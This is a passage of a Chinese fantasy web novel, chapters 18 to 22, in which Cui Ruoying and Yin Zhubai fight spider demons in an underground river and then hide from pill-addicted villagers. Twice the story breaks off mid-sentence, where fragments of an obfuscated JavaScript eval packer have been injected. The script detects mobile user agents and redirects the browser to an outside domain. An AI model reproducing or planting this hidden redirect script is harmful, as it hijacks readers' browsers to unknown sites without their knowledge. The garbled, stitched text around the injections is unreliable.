凉凉的声音在地下河道中回荡,话音未落,青蛛妖瞳孔紧缩成针尖大的小点,倏然朝着前方袭来! 毛茸茸的蜘蛛腿从河面上掠过,带起一阵水浪,随着那股水浪掀起,大大小小的蜘蛛也汇聚在一起,密密麻麻朝着两人扑来。 青蛛数量极多,大大小小盘踞在地下河道内,很快将两人包围在河道正中央。 群蛛背后的荧光图案挤在一起,相互摩擦着,看得人心中恶寒,头皮发麻。 两人背靠着背,冷眼面对袭来的蜘蛛巢。 崔若盈握着短刀,背对着殷逐白,能感受到他的体温正透过薄薄的衣料源源不断地传来。 很冷。像是背对着一块冷硬的礁石——那礁石是危险的来源,当夜晚行船时,小船撞到暗藏于海平面之下的礁石,随时可能船毁人亡。 可是,若遇难者孤零零地漂在海上,这块坚硬危险的陆地,又会成为一个让人惊喜的庇护所。 殷逐白就是这样矛盾的存在。 握着刀,崔若盈的思绪略有些发散。直到殷逐白的声音在脑后响起,她才回过神。 “崔姑娘,小心。” 话音未落,蜘蛛们已经急不可耐地扑过来了。 刚一开大,崔若盈就傻了,心里直骂人。 这些蜘蛛真是成精了,还会柿子挑软的捏,知道殷逐白不好惹,大部队在一只化形蛛妖的带领下,全围到她这边了。 剩下四只化了形的青蛛妖在另一边围攻殷逐白。 很明显,他们想先解决看上去很弱的崔若盈,再合力围攻殷逐白。 幸好,崔若盈虽然看上去人畜无害,但那只是伪装而已,能坐到金牌员工的位置,崔若盈自然也不是吃素的。 她最擅长的,就是扮猪吃老虎,等对方放松警惕,再伺机偷袭,一击必杀。 围攻她的小蜘蛛算不上强,只是胜在数量多,最强的就是那只为首的化形青蛛妖。 但那青蛛妖见她好像很弱,对她多有轻视,没过几回合,就被崔若盈抓住破绽一击毙命,剩下的只有小蜘蛛了。 不过,这些小蜘蛛还是有些棘手的。它们数量极多,仿若无穷无尽一般,杀了一批还有一批,悍不畏死地朝着崔若盈冲锋而来。 崔若盈心道麻烦,侧头朝着殷逐白的方向看去。 只见殷逐白正和那几只化形青蛛妖打得难解难分,他的脚下已经倒了一具无头尸体。 他明明可以秒杀那四只蜘蛛精,却选择隐藏实力与他们周旋。看来,这家伙是不会来帮她了。 只能靠自己了。 好吧,那她只能来点狠的了。 崔若盈一边想着,一边从怀里掏出两瓶精品化尸水。 19. 殷逐白这是要救她吗? 化尸水是崔若盈以前买的。 这东西相当实用,不仅能用来毁尸灭迹,杀伤力也是惊人,崔若盈当初趁系统商城打折买了不少,现在只剩下两瓶。 崔若盈用两根手指捏着装了化尸水的小玉瓶,看着面前前仆后继、悍不畏死的青蛛妖,嘴角微微一扬。 当她心里酝酿着坏主意时,就会露出这样狡黠而得意的微笑。 青蛛虽然是本质蜘蛛,但生性喜水。崔若盈注意到,无论青蛛是大还是小,都停在水面上。 黑色的蜘蛛身体、荧光蓝的鲜明花纹,两种颜色拼接在一起,覆盖了整片水面,更将她周围围得水泄不通。 几只更小的蜘蛛顺着崔若盈的裙摆向上爬,想要撕咬她裸露在外的血肉。 崔若盈使出一道灵力,将这几只青蛛拨弄下来,而后毫不犹豫地拔掉瓶塞。 瓶中顿时传来一阵腐臭的味道。这化尸水的味道,比尸臭味还要难闻几分 崔若盈一手捏住鼻子,一手举瓶倾倒。随着她的动作,墨绿色如菠菜汁一般的液体凝成一道黏稠的水线,飞快倾入暗河之中,落水之时,发出一阵沉闷的水声。 风从河道尽头的阴暗处出来,在河面上掀起点点涟漪。 蓝色的波光在河面上闪烁,诡谲的氛围中,化尸水倾入暗河的微弱水声却如同惊雷一般震耳欲聋。 两瓶化尸水很快就倒完了。 崔若盈小心地晃了晃空瓶子。最后一滴化尸水落入水中,被暗河阴冷的水稀释,不祥的墨绿色消散于绚丽的波光之间。 化尸水毕竟有限,倒进这么大一片水中,被稀释后对人类以及大型动物产生不了什么威胁。 但大部分青蛛体型都很小,即使是被稀释过后的化尸水,也足以使其丧命。 墨绿的液体在水中飘散开来,浓丽的颜色依附在水中,顺着水波,缓缓地飘到青蛛群之中。 几乎只一眨眼的工夫,那鲜艳的颜色就将像是腐臭的水藻,将一些小型青蛛的身体完全包裹起来。 这些未成年的小青蛛不过指甲盖大,被包裹成一个青苔般的绿球,刹那间就被腐蚀殆尽,后背上的图案如焰火一般,快速消失在浓重的黑色之中。 绿色在暗河中蔓延。青蛛群顿时一阵骚乱。 众多蜘蛛慌不择路地朝着两边墙壁爬去,想逃离危险的河面,再顾不上对付崔若盈。 有些蜘蛛速度极快,成功赶在被腐蚀之前爬到了岩壁上,但也已经奄奄一息。更多的青蛛则是在绿色的波光中挣扎,转眼间就消失在水光中。 崔若盈站在水面上,静静地看着绿色在她的脚底散去,脸上还带着狡黠的笑容。 那笑容单看灿烂无比,但置身于这黑暗与混乱之中,只显得与周围格格不入,甚至还带上了几分不易察觉的冷酷。 殷逐白一剑斩下一只青蛛妖的头颅。圆滚滚的头颅和沉重的尸身几乎同时砸入平静的水面,搅动一池波光。 鲜血在水中蔓延,又将这一片河水染成红色。血一般和河水流淌着,渐渐与那墨绿色的水交汇、相融。 绿色试探着朝他漂来,吞没了浮在河上的死尸。殷逐白垂眼看着那尸体,在他的注视下,那尸体一点一点,被绿水蚕食殆尽。 有意思。是化尸用的王水吗? 没想到,崔若盈身上居然还带着这种东西。 殷逐白眼眸动了动,视线隐晦地一转,便转到了崔若盈的身上。 崔若盈呼出一口气。 短短几分钟的时间,原本来势汹汹的蜘蛛大军就都倒在了她的化尸水下,连尸体都没留下。 被这些不知好歹的蜘蛛妖当成软柿子,崔若盈心中早就憋了口恶气,现在这口恶气出了,只觉得浑身舒畅。 她随手将化尸水瓶子收回系统空间,忽然感觉有人在看她。 一转头,就见殷逐白站在不远处的水面上,墨绿色的化尸水已经漫到了他的脚下。 见崔若盈看过来,他抬了抬手,嘴角也勾勒出一抹温柔如月的微笑,一双漂亮的眼睛则是注视着她,看得崔若盈有点心虚。 她干笑一声,正欲说些什么,突然感觉一股劲风从自己耳边吹过,身边的气氛陡然一变,连风都变得急促而尖锐。 崔若盈心中警铃大作。她反应极快,下意识地一扭身。 原本乖巧垂在脸侧的红色纱带如同受了惊吓一般,激烈地飘动起来,在半空中化作一道圆润美丽的弧线。 一道银光从她脸颊边上飞过,“咻”地一声从纱带间的缝隙穿过,尖锐地刺穿她的衣领,猛然将其钉在墙上,发出一声颤鸣。 崔若盈被那声音震得眼前一花,反应过来后立刻侧过头。钉住她衣领的不是别的,正是一道锋利的蜘蛛丝。 “你做了什么?!” 满溢怒火的声音从前方传来,在洞穴中掀起阵阵声浪,无止无休地在她耳边回荡着。 河道内还是那般黑暗,蓝色光辉填满每一处黑暗孤寂的角落。 殷逐白的战斗已经差不多结束,几只蜘蛛妖的尸体被化尸水腐蚀了大半,在流水的冲刷下,肌肤上逸散出冷寂的光。 只有那只为首的青蛛妖还站着。 他倒挂在满是阴风的角落中,手中扯着十几道坚韧的银色蜘蛛丝,殷红的鲜血顺着蜘蛛丝滴落,染红了纯黑色的河水。 青蛛妖面色如同暴风雨前夕的天空一般阴沉,一双赤红不似人类的眼中,满是愤恨。 不需要多说,袭击崔若盈的蜘蛛丝,就是他发出来的。 殷逐白正拎着剑,好整以暇地站在另一侧,一双黑色的眼眸,饶有兴致地在崔若盈和青蛛妖之间转来转去,也不知在想些什么。 即使看到崔若盈被偷袭,他脸上的笑容也没有丝毫变化——崔若盈也不指望他能搭把手。 殷逐白这家伙,不坑她她就感恩戴德了。 崔若盈后退一步,脊背靠上阴冷的岩壁。 些许冷风顺着她的衣领灌入衣裳里,那锋利的蜘蛛丝擦过她的皮肤钉在石壁上,让她心中升起一阵寒意。 崔若盈抬起双手:“我……也没干什么吧?” “没干什么?”青蛛妖怒极反笑,“你刚才往河里倒了什么东西?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656141|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青蛛一族在雍州也是不小的族群,结果雍州动乱,只好举族逃往芦州,一路上损兵折将。 结果崔若盈只是倒了两瓶化尸水,就把好不容易幸存下来的小蜘蛛全给灭掉了。青蛛一族元气大伤,恐怕就要灭族了! 这让他怎能不怒? 想到这里,青蛛妖眼睛红得近乎滴血。只见他一个俯冲,在蛛网上飞快地攀爬着,竟抛下殷逐白,直挺挺地朝着崔若盈冲过来,目标直指她的性命! 崔若盈:!!! 她顾不上后悔,快速调动全身力气,倏地朝着身侧一闪。 只听“刺啦”一声,衣领被她用蛮力扯破,崔若盈也终于逃脱了蛛丝的桎梏,躲开了青蛛妖的致命一击,余光却瞄见了殷逐白映在岩壁上的影子。 在青蛛妖出击的瞬间,殷逐白也动了。 他几乎不假思索地抬起剑,剑光如流星般,朝着那坚韧而锋利的蛛丝斩去。 逝飞雪的银光与蛛丝的银光交错,光芒闪烁之间,几缕倒影映入崔若盈的眼中,照亮了她的眼瞳。 铛! 逝飞雪撞在蛛丝上,发出短暂的剑鸣,好像有谁在用这把锋利的长剑,轻描淡写地拨弄琴弦。 声音响起的刹那,崔若盈抬眼看向殷逐白。青年拿着剑,剑光绚丽地闪烁,那张美丽的脸就暴露在雪亮的光芒之中,变成了一片纯白。 “崔姑娘,你还好吗?” 他的声音在纯白中传来。剑光落下,河道中又只剩一片浅薄的黑色,殷逐白的话透过黑暗,宁静地传入耳中。 崔若盈站稳脚步,定了定神,才小声回答道:“我没事。” 说话时,她心里也有些疑惑。 以殷逐白的速度,刚才她就算没能及时躲开,青蛛妖的那一击也会被殷逐白挡下来。 殷逐白这是要救她吗? 他这么好心,简直让崔若盈有些受宠若惊了。 听到崔若盈的回答,殷逐白轻轻地“嗯”了一声。那声音非常轻,像是怕吓到她一般,刻意压低了声音。 殷逐白挽了个剑花,将逝飞雪收入剑鞘。他负手站在水中央,脚下涟漪阵阵,在水中漫出一道道美丽的波纹。 波纹迭起,他的倒影也随着波纹扭曲、变形。崔若盈快步走到他身边,很快,他的身边又多出了一道红色如初升太阳一般的身影。 在两人对面,是已经被逼入绝境的青蛛妖。 殷逐白实力本就强于青蛛妖,那青蛛妖又受了伤,没几个回合,就被殷逐白削去一臂,被逼到一处角落。 他遭受重创,面色青白,浑身血淋淋的,妖力也开始逸散,但还不忘了放狠话。 “殷逐白!还有那个该死的臭丫头,我记住你们了!” 崔若盈:“……” 可恶,凭什么殷逐白就连名带姓的,她就是“该死的臭丫头”啊!! “闲话还是不要多说了。” 殷逐白打断了他的话。他眼睫颤动,像是一只展翅欲飞的蝴蝶,翅膀一动,就要飞去遥远的天际。 “告诉我……你们的极乐丸是哪里来的?” 20. 崔姑娘,你在听我说话吗?^^…… “极乐丸……” 听到殷逐白的问题,青蛛妖愣了一下,还以为殷逐白和那些村民一样想要极乐丸,忍不住嗤笑一声。 还以为殷家家主是什么了不得的人物,没想到也痴迷于极乐丸这种东西。 这么想着,他心里来了底气。 “想要极乐丸?你们放我走,我把身上的所有极乐丸都给你们。这些丹药可是好东西,吃了它,你想要什么就有什么。” 崔若盈听他说起极乐丸,不免回忆起雨夜窥探到的陈有文的丑态,脸上顿时露出厌恶的神色。 “谁要你那破丹药啊。” 她才不稀罕。 至于殷逐白,这家伙的确对极乐丸表现出了些许兴趣,但崔若盈可不觉得他打算自己服用。 嘶……话说殷逐白不会想用极乐丸,控制别人为他所用吧? 崔若盈脑海里浮现出这个不好的念头。别说,这确实是他能做出来的事。 想到这里,崔若盈偏了偏头,去看殷逐白的脸色。他美丽面容上的表情不曾有丝毫变化,看不出具体是个什么想法。 崔若盈看着看着,心里打起了鼓。 极乐丸不是什么好东西,看内河村村民的所作所为就知道了。这东西要是落在反派手里,指不定会惹出什么乱子。 崔若盈眼珠一动,上前一步拉住殷逐白的衣袖:“殷家主,极乐丸太危险,千万不能流落在外,我们还是把它毁掉吧!” 这话说得大义凛然,殷逐白只要还想在她面前维持温柔正直的人设,就不能不听。 衣袖被扯住,传来沉甸甸的重量。殷逐白看了崔若盈一眼,几秒后,轻声回答道:“好。” 当他应下崔若盈过分或不过分的要求时,总会轻描淡写地说一个“好”字。 不过多解释,也不谈什么条件,一个淡淡的“好”,总是让崔若盈心中一轻。 而在崔若盈放松的同时,这个“好”字又如高山一般压在青蛛妖的身上。青蛛妖终于意识到,殷逐白对他身上的极乐丸并没有十分强烈的渴求! 他咬了咬牙,转身便跑。然而刚跑出没两步,一道站在水中央的身影就挡住他的去路。 幽幽的蓝色映在他的脸上,让他看上去像是暗夜中的鬼魅。 再回头看看,身穿红衣的崔若盈也拿着短刃,死死挡住他的回头路。 说起来,这地下河道四通八达,并非只有两条路。但崔若盈和殷逐白将他卡在这个角落,青蛛妖想要逃走,必须突破两人的围堵。 对身负重伤的他来说,这无疑是条死路。 暗河内阴森潮湿,岩壁上的水晶幽光闪烁,潺潺水声有节奏地冲刷着河道。河道里十分阴冷,青蛛妖却汗流浃背,身后已经渗出了一层冷汗。 殷逐白的剑逼近他的身体,逝飞雪的剑光真如飞雪般,被裹在凛然锐利的风中,转瞬间就来到他的面前。 青蛛妖抽出蛛丝挡在面前,然而蛛丝刚一接触到剑,就“嘣”地一声,崩断成软趴趴的两截。 借此机会,青蛛妖朝身边狼狈一躲,大汗淋漓之际,余光突然瞄到站在一边的崔若盈,心头一动。 他不知道崔若盈和殷逐白的关系,不过听二人称呼,就知道她不是殷家的人。 瞧着殷逐白对她颇有几分在意,刚才他攻击崔若盈时,殷逐白也第一时间出手相助。 越往下想,越觉得这两人关系暧昧不明。青蛛妖心念飞动,浑身不知哪儿来的力气,竟纵身一跃,掌心蛛丝刺出,骤然朝着崔若盈袭去! 然而崔若盈毕竟是老油条,见他眼神,就知道他要攻击自己,瞬间机警地掠过水面,同时用灵力挡住去路,防止青蛛妖逃脱。 与此同时,殷逐白的剑也来到了那青蛛妖的身后,带起一阵冷风。 冷风与剑光交织在一处,形成一张铺天盖地的剑网。那青蛛妖被剑网劈头盖脸罩住,顿时化作一堆碎肉块落入河中,血腥味瞬间弥漫至整个山洞。 滴答。 一滴血顺着殷逐白的剑尖滴落,在水中掀起点点涟漪。崔若盈张了张口,正欲发表一下通关感言,就见水面突然如沸腾般翻涌起来。 下一秒,十几道青光就从水下蹿出,以极快的速度朝着四面八方飞去。崔若盈“哎”了一声:“他的魂魄要逃跑!” 说着就想追上去。可那青蛛妖太鸡贼,十几道青光顺着风飞往不同方向,崔若盈想追都不知道该追哪个。 “崔姑娘不要着急。” 肩头传来沉甸甸的重量。崔若盈回过头,只见殷逐白已经收起剑,一只手按在她的肩上,语气中带着几分安抚。 “青蛛妖肉身已损,等明日日出之时,就是他殒命之日,必须尽快重塑肉身。而想要重塑身躯,就需要摄入大量血气。” 崔若盈侧头瞧瞧殷逐白按在她肩头的手。 那双手骨节分明,指腹带着一层薄薄的茧,一看过去,就能想象出这双手握着剑的模样。 浅粉色的指甲被修剪得干干净净、一丝不苟,连指甲的长短和形状都完全一致。而手背上的皮肤则是薄薄的,一眼望去,能看到青紫色的血管。 “崔姑娘。”殷逐白顿了一下,“你在听我说话吗?” “对不起!”崔若盈赶紧收回目光,“我,我有点走神了。” 殷逐白包容地笑笑:“没关系,那就长话短说吧。那只青蛛妖为了重塑身躯,肯定会前往距离此地最近、且有着最多生人的地方。” 崔若盈明白了他想要说什么,立刻道:“内河村!” 殷逐白颔首:“崔姑娘真是聪明。” “那我们快去内河村吧。”崔若盈连忙道,“若是去晚了,内河村恐怕就危险了。” 说着,便拉住殷逐白的衣袖,顺着暗河朝前走去。殷逐白轻轻“嗯”了一声,视线从她的手腕上滑过,眼中飞快闪过一抹笑意。 这抹笑意,又被偷偷观察着他的崔若盈尽收眼底。 只是那笑意来得太快、去得也快,几乎像是小石子投入大海激起的水花,一眨眼就消失不见,再望过去,不变的只有深沉的黑色海面。 崔若盈心里一动,暗想那青蛛妖不会是故意被殷逐白放跑的吧? 殷逐白这家伙非常记仇,内河村的人害死殷家几名除妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673843|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师,他怎么可能善罢甘休? 只不过除妖师有一道铁律:绝不可用灵力伤害平民百姓,一旦被发现,就要被除妖师除名、名声扫地。 所以殷逐白才故意放走青蛛妖,来一招“借刀杀人”? 细思极恐啊细思极恐。 崔若盈赶紧止住念头,不再往下深想。 许是为了维持人设,殷逐白路上倒没有故意拖延,两人很快就出了河道,来到了地面上。 一轮圆月寂静地挂在天上,明净如水的月光静静洒落,给天地披上一层银辉。 崔若盈的脚终于踩到了实地,那股如影随形的冷气也终于消失。她站在地面上,任由微风吹得她衣摆猎猎作响。 地下河道出口众多,几乎覆盖了这一小片区域。两人选择的出口,就是在一座小山丘上。 这里离内河村不远,俯身朝着山下看去,就能看到山下内河村明明灭灭的灯火。 月上中天,内河村却还亮着灯,很明显,对于内河村的村民来说,这是个并不平静的夜晚。 顾不上多说,两人快速朝着那灯火繁冗处赶去。 没过几分钟,内河村村口在黑暗中现出原本的模样,血腥味从村子内遥遥传过来,偶尔还能听到几声刺耳的狗叫。 但诡异的是,除了狗和家禽的叫声,村内竟一片寂静。 没有惊呼声、没有求救声,摇曳的垂柳、宽敞的青石路、规整气派的砖瓦房……一切都如月光般冷寂,仿佛对于内河村的村民来说,这只是个再平常不过的夜晚。 “小心有诈。”殷逐白低声提醒道。 他的声音,也成了这寂静夜晚罕有的声音。 崔若盈点点头,两人一同走入村中。推开亮着灯的民居,没有人。再推开一扇门,同样没有人。 内河村的人,仿佛在这短短的几小时内消失了一般。 再向前走,血腥味被夜风吹着,扑了两人满怀。崔若盈捂住口鼻,逆着风走了几分钟,两人终于来到石桥附近。 不过,站在石桥附近的,并非只有他们两人。 灯笼中金红色的火光凝聚在一处,在灯光的映照下,凝重的夜色也透露出满怀杀意的暗紫。 崔若盈停住脚步,殷逐白就站在她的身侧。月光轻柔,夜晚的紫红色扫在两人的脸上,描摹出两道轮廓。 他们没有越过石桥。在石桥的对面,站着很多人。 ——那些都是内河村的村民。 他们面无表情,肩并着肩站在一处,身影错落间,形成一道水泄不通的人墙,将青蛛妖青色的魂魄拱卫在人群最中央,像是一具具毫无生气的人偶。 见到两人出现,青蛛妖立刻道:“杀了他们两个,我给你们一千!不,两千瓶极乐丸!” 话音落下,刚刚还毫无生气的村民们仿佛重获新生一般,几百张满是麻木神色的脸上,几乎同时闪过喜悦而生动的光彩。 崔若盈第一次真切感受到,什么叫做“容光焕发”。 可她已经来不及多想。青蛛妖一声令下,村民们便像是亢奋的野兽,道道身影汇聚成黑色的潮水,猛然向两人抓来。 21. 她有几分真心 灯笼和火把的光宛若一道金红色的屏风,将两人严严实实地围住。 灼热的气浪从火焰中逸散,烘得崔若盈的脸也跟着变得滚烫,连初春午夜的冷风也被隔绝在那金色的屏障之外。 “极乐丸……极乐丸……” 恍惚间,崔若盈听到一声隐约的呢喃。那声音原本细如蚊呐,混入气浪中吹来,等飞到崔若盈近旁时,音量却忽地变大。 “极乐丸……” 那声音一声接着一声,在群山间回唱。崔若盈一抬头,只见村民们的脸在火光中若隐若现,一张张嘴开开合合,形成一个个深不见底的黑洞。 明明还是能喘气的活人,此刻表现得却像是古墓之中的腐臭行尸,一言一行,全被近乎本能的贪婪支配。 崔若盈不寒而栗,又往后退了一步,后背与殷逐白的背相抵。 火焰将空气都烧得滚烫,只有殷逐白的身体还是冷的,像是坚定伫立在她身后的皑皑雪山。 说来也怪。崔若盈之前总是防备着殷逐白,但到了现在,殷逐白那不似生人的温度,反而让她心中多了几分慰藉。 “崔姑娘。” 殷逐白的发丝被热浪催动,轻飘飘地包裹在崔若盈的身上。 “你害怕吗?” 他不是第一次问这个问题。 崔若盈苦笑:“我害不害怕一点儿也不重要,殷家主,我们还是快点想办法跑吧。” 实话实说,她胆子不是特别大。不过崔若盈有一个常人所不及的优点,那就是无论多么危险,她总能冷静地找出一条生路来。 要不是这样,她根本活不到现在。 就说话的这么一会儿工夫,人群渐渐聚拢,顷刻之间,一名中年村民便冲破热浪,粗壮的手朝着崔若盈抓过来,红彤彤的脸上满是贪婪之色。 崔若盈灵敏地一躲,脑中立刻有了想法。 她环顾四周,见路边正好有一棵高大的枣树。那枣树枝繁叶茂,一根树枝正好探进街边的民居中。 “我们先躲到树上。” 说着,她也不管殷逐白,三下五除二蹿上枣树,躲在繁茂的枝叶间,那动作灵敏极了,像一只潜藏在夜晚中的猫儿。 上了树,她还不忘趴在树枝上,探头催促他:“殷家主,快上来!” 平常她总故意装得蠢蠢的,也不知有什么癖好。也只有在逃命的时候,她才透露出几分让人刮目相看的机灵劲儿。 殷逐白忍不住笑了笑,飞身落在他身边,飞舞的衣袍灌了风,又渐渐随重力沉下来,缓缓披在崔若盈的身上。 崔若盈一把掀开盖在自己身上的衣袖,扭头看了眼殷逐白。 青年轻盈地站在树叶之间,斑斓的月影透过树影,落在他的肩上。枣树的树叶本该是葱茏的翠色,却被月光染上了羽毛般轻柔的银白。 很快,那抹圣洁的银白又被驱散,转变成辉煌的金红色。那金红色从下至上,赶走了皎白的月光,炙热地燃烧着。 崔若盈低头一看,原来那些村民见两人逃上树,便潮水般聚拢在树下。 火光如海,穿过树叶间细碎的间隙,映得崔若盈的眼眸光闪闪、亮堂堂。 崔若盈的视线在人潮中一闪而过,很快就锁定了混在人群中的一道青光——那正是青蛛妖的魂魄。 她心里冷笑一声,目测了一下距离,随即手腕一转,一道寒光就朝着青蛛妖的魂魄钉去。 那是她的暗器。 崔若盈看上去人畜无害,但腰带上、袖子里,还有系统空间中,堆满了各种毒/药与暗器。 其中,她最常使用的暗器就是飞针。 可惜,青蛛妖一直注意着两人,在崔若盈动作的第一时间就提起了戒备。 见飞针飞来,他魂魄随风一动,暗器就与他擦肩而过。紧接着,青蛛妖又顺势一飘,像一个薄薄的塑料袋,裹在了陈有文的身上。 “臭丫头。” 青蛛妖的声音在陈有文身后传来,语气中带着几分阴阳怪气。 “没想到,你还挺有两下子的。” 见崔若盈还想掏暗器,青蛛妖又嗤笑起来。他的声音极具穿透力,如同一把长刀刺穿紫红色的天空,响彻天地之间。 “早听闻殷家家主素有贤名,是芦州除妖师之首。难道仁慈的殷家家主,要对手无寸铁的可怜百姓动手吗?” 青蛛妖控制着陈有文,走到树下。金红色的火星在风中挥舞,光亮落在陈有文的脸上,他苍老面容上的褶子显露出凝重的暗影。 “你们要动手,我们这些普通百姓也拦不住。不过我听说,如果除妖师杀了普通人,不仅会被世人唾弃,连他的家族也会被连累……你们可要好好想想。” 火光随着他的话涌动,海浪般吞袭着初春的冷风。 崔若盈咬了咬唇,顿觉棘手。 青蛛妖说的,的确是除妖师间的铁律。 此世的除妖师们,极其在乎自己家族、师门的清誉,有时候宁愿自己死在普通人手里,也不想连累家族师门受辱。 这家伙,就算准了这一点,才这么有恃无恐,还真是狡诈。 崔若盈孤家寡人,不在乎声誉。不过,她还要伪装小太阳,自然不能表现得冷酷无情。 所以,还是逃吧。 崔若盈站起身,还没来得及说话,就听殷逐白道:“崔姑娘先走吧。” “啊?” 崔若盈偏头,只见殷逐白站在暗影间,眉宇间带上了几分金红色的决然。 “殷家主?你……” “崔姑娘,是我把你牵扯到这次任务中的。我不想连累你。”他垂下眼,纤长如羽的眼睫染上月光独有的霜白,“你走吧,我为你断后。” 崔若盈试探着道:“你,要杀了他们?” 殷逐白语气平静,脸上还挂着宁静洒脱的微笑:“崔姑娘不要问了。我心中已有决断,只要你能平安离开,我就无愧于心。” 崔若盈:“……”哥们儿又装起来了。 这个时候还凹他那个温柔家主的破人设,还想拉着她演苦情戏码。 原剧情里这家伙就是靠这种自我献身的苦情戏码博取了男女主的好感。 毕竟,她拿着剧本当然知道殷逐白是装的,但设身处地想一想,谁会怀疑一个为了你不顾自己安危的正人君子呢? 崔若盈暗骂一声死戏精,却不得不配合他。但她也不能真把殷逐白撂这儿,不然第一个死的就是她。 眼珠转了转,崔 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他在世间游走千年,用过无数身份,也见过各种各样的人。 有人说好同生共死,面对死亡却临阵脱逃;有人嘴上说得漂亮,为了自己活着不惜背弃他人。 崔若盈虽然是带着目的接近他的,但生死关头也没有独自离开,对他倒也有几分真心。 殷逐白想着,忽然轻轻地笑了起来。 连他自己也不知自己因何而笑——不过,别人对你是真心而非假意,总是令人快乐的。 那笑声飞入崔若盈耳中,却带了别样的意味。崔若盈听得心里直叹气,不知道反派又抽什么疯。 “殷家主,这种时候了,你还笑得出来。” 崔若盈没好气地说了一句,麻利地顺着树枝翻过院墙。厚重的院墙挡住了灼热的气浪,也暂时隔绝了嘈杂而喧嚣的脚步声。 这院子是个民居,布局和陈三婶家差不多。 因为昨日下过暴雨,院内还带着未干的积水,银色的月光流泻而下,草影和树影绰约地纠缠在一处,水洼中满是斑驳的光辉。 殷逐白不置可否,轻声道:“这院子挡不了多久,他们早晚要进来的。” 仿佛为了在印证他的说法,院门外传来撞击的声音。 那声音如同惊雷一般,沉重地劈在崔若盈的心中,一声接着一声。她甚至分不清那是撞门声,还是自己的心跳。 崔若盈定了定神,环视四周,当看到庭院角落有一口大水缸时,她眼睛一亮,脸上又露出狐狸一般的得意笑容。 “就怕他们不进来呢。” 崔若盈重重踩过泥泞的水坑,刻意在庭院中留下鞋印。 鞋印在月光下蔓延,一直延伸到堂屋中,崔若盈打开堂屋的门,又在里面留下些许足迹,这才返身钻进水缸里。 水缸里还有一大半水,甫一进入缸中,冰冷的水就将她的衣服浸透。衣裳在水中飘着,像是金鱼漂亮的尾巴,在水中闪烁着粼粼的光。 崔若盈从水中冒出头,对殷逐白伸出一只白皙到近乎发光的手。 “殷家主,劳烦你和我一起,在这个水缸里躲一躲了。” 22. 正是因为他如此期待着。 这水缸也不知是用来装什么的,比平常水缸大上许多,容纳两个人绰绰有余。 缸中装了大半的水。月光在水中浮动,犹如一面雪亮的银镜,映出葡萄紫的天空。 撞门声越来越大,大门发出不堪重负似的吱嘎响声,眼看就要被攻破。 崔若盈小半张脸仍旧埋在迷蒙的水波中,急切地朝着殷逐白招了招手。 她也不知道反派在犹豫什么。该不会还想着杀那些村民吧? 崔若盈倒不在意她杀不杀人。她真正担心的,是目睹殷逐白杀人后被他灭口。 反正,还是尽量拦住殷逐白吧。 正出神地想着,崔若盈便感觉一道高大的阴影将她全身笼罩,挡住了闪闪的月影。 那影子动着,翻身钻入缸中,缸中柔顺的水波随之而动,温柔地没过崔若盈的身体。 是殷逐白。 水缸出奇地大,两人各自盘踞在一边,没有肢体接触。只有轻柔的水波上上下下,缓慢地吻着崔若盈的脖颈,在她身上铺洒一层雪亮的水光。 崔若盈抹了把脸上的水。 初春的风带走她身上最后一丝热气,水珠顺着她的发丝,如断了线的珍珠般快速滑落。 也许是因为太过紧张,她反倒没感觉很冷。 “崔姑娘。” 崔若盈扭头:“嗯?” 一转过头,就看到身后大半个身子都浸在水中的殷逐白。他半张脸都浸在水中,只露出一双幽幽的眼睛,正目不转睛地盯着她。 月光顺着高挺的鼻梁滑落,再均匀地铺在水面上,深邃的眼眸中还闪着细碎的光——崔若盈也不知道,那眼中盛着的,究竟是水光还是月光。 “崔姑娘,如果我说我想杀了他们,你会不会觉得我很可怕?” 崔若盈深吸一口气。 还没等她回答,撞门的声音就愈发猛烈刺耳,眼看那扇薄薄的木门就要被撞破,崔若盈当机立断,按住殷逐白的肩膀,与他一同沉入柔顺水中。 阴冷的水灌入鼻腔,隔着澄澈的一层水波,月光也变得遥远而朦胧。 有什么柔软的东西缠在了她的手腕上,一圈又一圈,好像想要将她永生永世锁入水中。 是水草?可是水缸里,又怎么会有水草? 崔若盈侧头一看。原来缠住她的不是水草,而是殷逐白的发丝。 他的头发滑腻腻地缠在她手上,令她有些不适应。崔若盈想将手缩回来,然而还没来得及动作,院子的门就被“嘭”一声踢开了。 大量村民涌入庭院,火光将小小的院子照得亮如白昼。崔若盈屏息远远观察着他们,一时间也忘了头发的事。 “人呢?” “有脚印!他们在屋子里,搜!” 很快,村民们就注意到了她故意留下的线索,一窝蜂地朝着屋子里涌去,生怕自己进去晚了,拿不到青蛛妖许诺的两千瓶极乐丸。 青蛛妖附在陈有文身上,看着众人进到屋子里。他狡诈多疑,没有跟着村民们一起进去,反而站在庭院中,眯着眼打量着什么。 似乎……有些不对。 青蛛妖环顾四周,视线最终停留在被放在角落的大水缸上。 水缸摆放的位置黑暗偏僻,陈有文又是肉体凡胎,根本看不见那里藏着什么。 青蛛妖面色一动,拖着佝偻的身体,缓缓朝着水缸走去。 那里仍是一片黑暗,缸中不曾传来什么声响。 青蛛妖在距离水缸一步远的位置站定,探头朝着里面望去,然而就在瞬间,一道银光从水缸中刺出,飞速削去他的头颅,在脖颈上留下一道极细的血线。 与此同时,崔若盈从缸中跳出来,飞快跑到那房屋前,屋子里的村民反应过来,猛然朝着这边冲来。 